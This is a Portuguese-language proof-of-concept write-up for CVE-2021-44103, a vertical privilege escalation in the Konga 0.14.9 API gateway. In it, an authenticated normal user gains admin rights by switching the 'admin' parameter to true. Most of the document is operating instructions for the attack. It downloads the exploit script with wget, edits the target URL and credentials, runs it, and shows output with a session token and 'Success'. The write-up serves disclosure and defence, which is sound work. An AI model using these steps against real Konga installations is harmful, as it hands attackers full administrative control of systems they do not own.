
Exploit de prova de conceito para CVE-2021-44103 demonstrando escalonamento vertical de privilégios no Konga API Gateway 0.14.9, permitindo que usuários autenticados obtenham acesso de administrador.
Uma prova de conceito para KONGA 0.14.9 - Escalada de Privilégios.
Em 16 de novembro de 2021, Fabrício Salomão e eu encontramos uma vulnerabilidade no Konga API Gateways, permitindo que qualquer usuário autenticado se torne administrador.
Produto: KONGA
Modelo: 0.14.9
Vulnerabilidade: Escalada de Privilégios
Impacto: Acesso administrativo total (escalada vertical de privilégios)
Autenticação: necessária
Autor do Exploit: Fabricio Salomao / Paulo Trindade
Abaixo foi criado um usuário normal chamado "usernormal" sem privilégios.


Através da requisição abaixo, a flag "FALSE" no parâmetro "admin" foi alterada para "TRUE".

Portanto, foi criado um exploit por nós: https://www.exploit-db.com/exploits/50521

Após executar o exploit, a escalada de privilégios foi um sucesso!
Resultado:

wget https://www.exploit-db.com/raw/50521 -O 50521.py
Edit 50521.py
Modify:
urlkonga = "http://www.example.com:1337/" # change to your konga address
identifier = "usernormalkonga" # change user
password = "changeme" # change password
Execute:
python 50521.py
[+] Attack
[+] Token eyJhbGciOiJIUzI1NiJ9.MTA.JFmJ0Vd3z5oeOTokSL0qfPZSOJmnZKEjZVzCJs_AM-U
[+] Change Normal User to Admin
[+] Success
http://n0hat.blogspot.com/2021/11/konga-0149-privilege-escalation-exploit.html
https://www.exploit-db.com/exploits/50521
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44103
https://github.com/advisories/GHSA-f2mp-8fgg-7465
https://security.snyk.io/vuln/SNYK-JS-KONGA-2434821